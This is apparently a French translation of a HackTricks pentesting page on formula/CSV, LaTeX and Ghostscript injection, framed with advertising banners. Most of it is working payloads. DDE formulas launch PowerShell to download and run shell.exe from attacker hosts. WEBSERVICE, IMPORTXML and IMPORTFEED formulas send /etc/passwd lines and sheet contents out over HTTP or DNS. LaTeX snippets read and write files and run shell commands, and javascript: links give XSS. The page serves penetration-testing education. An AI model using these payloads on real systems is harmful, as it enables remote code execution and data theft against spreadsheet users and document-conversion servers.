hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

14 KiB
Raw Blame History

Injection de formules/CSV/Doc/LaTeX/GhostScript

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. Essayez-le gratuitement aujourd'hui.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Injection de formules

Info

Si votre entrée est reflétée à l'intérieur de fichiers CSV (ou tout autre fichier qui sera probablement ouvert par Excel), vous pourriez être capable d'insérer des formules Excel qui seront exécutées lorsque l'utilisateur ouvre le fichier ou lorsqu'il clique sur un lien à l'intérieur de la feuille Excel.

{% hint style="danger" %} De nos jours, Excel alertera (à plusieurs reprises) l'utilisateur lorsqu'un élément est chargé depuis l'extérieur d'Excel afin de le prévenir d'une action malveillante. Par conséquent, un effort particulier en matière d'ingénierie sociale doit être appliqué au payload final. {% endhint %}

Liste de mots

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Hyperlien

L'exemple suivant est très utile pour exfiltrer le contenu de la feuille Excel finale et pour effectuer des requêtes vers des emplacements arbitraires. Cependant, il nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).

Exemple pris de https://payatu.com/csv-injection-basic-to-exploit

Supposons un scénario d'attaque du système de gestion des dossiers étudiants d'une école. L'application permet aux enseignants de saisir les détails des étudiants de l'école. L'attaquant obtient l'accès à l'application et souhaite que tous les enseignants utilisant l'application soient compromis. Ainsi, l'attaquant tente de réaliser une attaque par injection CSV via l'application web.
L'attaquant a besoin de voler les détails d'autres étudiants. Donc, il utilise la formule Hyperlien et la saisit lors de l'entrée des détails des étudiants.

Lorsque l'enseignant exporte le CSV et clique sur l'hyperlien, les données sensibles sont envoyées au serveur de l'attaquant.

Le fichier CSV exporté contient une charge utile malveillante.

Les détails de l'étudiant sont enregistrés sur le serveur web de l'attaquant.

RCE

Pour que cet exemple fonctionne, il est nécessaire d'activer la configuration suivante :
Fichier → Options → Centre de gestion de la confidentialité → Paramètres du Centre de gestion de la confidentialité → Contenu externe → Activer le lancement du serveur d'échange de données dynamiques
ou l'utilisation d'une version ancienne d'Excel.

La bonne nouvelle est que cette charge utile est exécutée automatiquement à l'ouverture du fichier (si l'utilisateur accepte les avertissements).

Il est possible d'exécuter une calculatrice avec la charge utile suivante =cmd|' /C calc'!xxx

Plus

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

LFI

LibreOffice Calc

  • Cela lira la 1ère ligne du fichier local /etc/passwd : ='file:///etc/passwd'#$passwd.A1
  • Exfiltrer : =WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Exfiltrer plus d'une ligne : =WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • Exfiltration DNS : =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))

Analyse de la charge utile d'exfiltration DNS :

  • file:///etc/passwd#$passwd.A19 Lira la 19ème ligne du fichier local /etc/passwd
  • ENCODEURL(file:///etc/passwd#$passwd.A19) Encode l'URL des données retournées
  • MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) Similaire à substring, lire les données du 1er caractère au 41ème une manière très pratique de limiter la longueur des noms d'hôte DNS (limite de 254 caractères sur le FQDN et 63 caractères pour un label, c'est-à-dire un sous-domaine)
  • SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) remplace toutes les instances de % (le caractère spécial de l'encodage URL) par un tiret cela garantit que seuls les caractères DNS valides sont utilisés
  • CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) Concatène la sortie du fichier (après le traitement ci-dessus) avec le FQDN (pour lequel nous avons accès à l'hôte qui est autoritaire pour le domaine)
  • WEBSERVICE Fera une demande pour ce nom DNS inexistant que nous pouvons ensuite analyser les logs (ou exécuter tcpdump, etc.) sur le serveur de noms DNS autoritaire pour lequel nous avons le contrôle

Exfiltration de données OOB Google Sheets

Introduisons d'abord certaines des fonctions les plus intéressantes.

CONCATENATE : Ajoute des chaînes les unes aux autres.

=CONCATENATE(A2:E2)

IMPORTXML : Importe des données de divers types de données structurées, y compris XML, HTML, CSV, TSV et des flux XML RSS et ATOM.

=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

IMPORTFEED : Importe un flux RSS ou ATOM.

=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))

IMPORTHTML : Importe des données à partir d'une table ou d'une liste dans une page HTML.

=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

IMPORTRANGE : Importe une plage de cellules à partir d'une feuille de calcul spécifiée.

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

IMAGE : Insère une image dans une cellule.

=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")

Injection LaTeX

Habituellement, les serveurs que vous trouverez sur Internet qui convertissent le code LaTeX en PDF utilisent pdflatex.
Ce programme utilise 3 attributs principaux pour (dés)autoriser l'exécution de commandes :

  • --no-shell-escape : Désactive la construction \write18{command}, même si elle est activée dans le fichier texmf.cnf.
  • --shell-restricted : Identique à --shell-escape, mais limité à un ensemble 'sûr' de commandes prédéfinies (**Sur Ubuntu 16.04 la liste est dans /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape : Active la construction \write18{command}. La commande peut être n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sécurité.

Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter le RCE, il est très important d'utiliser --shell-restricted.

Lire un fichier

Il se peut que vous deviez ajuster l'injection avec des enveloppes comme [ ou $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Lire un fichier à ligne unique

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Lire un fichier à lignes multiples

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Écrire un fichier

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Exécution de commande

L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour la récupérer.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Si vous rencontrez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans mauvais caractères

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

De @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Injection Ghostscript

TODO : Créer un résumé avec les informations et techniques les plus pertinentes de https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Références

Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. Essayez-le gratuitement aujourd'hui.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :